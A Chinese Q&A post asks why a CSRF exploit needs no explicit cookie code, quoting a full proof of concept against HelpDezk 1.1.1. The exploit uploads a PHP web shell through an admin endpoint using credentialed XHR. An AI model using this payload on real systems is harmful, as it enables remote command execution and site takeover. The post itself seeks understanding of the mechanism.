【发布时间】:2017-11-23 01:48:45
【问题描述】:
在 CSRF 的定义中我们有
跨站请求伪造 (CSRF) 是一种强制最终用户的攻击 在它们所在的 Web 应用程序上执行不需要的操作 目前已通过身份验证。
这意味着它适用于经过身份验证的用户,该用户已经具有用于登录用户面板的有效 cookie。 但是在我见过的每一个 csrf 漏洞利用中,都没有 cookie 部分或相关的东西; 例如这个 csrf 漏洞利用:
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.228.186/helpdezk-1.1.1/admin/logos/upload2", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------1883328331133778598415248998");
xhr.withCredentials = true;
var body = "-----------------------------1883328331133778598415248998\r\n" +
"Content-Disposition: form-data; name=\"file\"; filename=\"index.php\"\r\n" +
"Content-Type: text/php\r\n" +
"\r\n" +
"\x3c?php\n" +
"\n" +
"if(isset($_REQUEST[\'cmd\'])){\n" +
" echo \"\x3cpre\x3e\";\n" +
" $cmd = ($_REQUEST[\'cmd\']);\n" +
" system($cmd);\n" +
" echo \"\x3c/pre\x3e\";\n" +
" die;\n" +
"}\n" +
"\n" +
"?\x3e\r\n" +
"-----------------------------1883328331133778598415248998--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
该漏洞利用 ajax 发出一个 post 请求,但我们知道它也需要设置一个 cookie。我知道它在用户端执行,但此请求不会从浏览器存储中调用任何 cookie。怎么可能? 谢谢
【问题讨论】: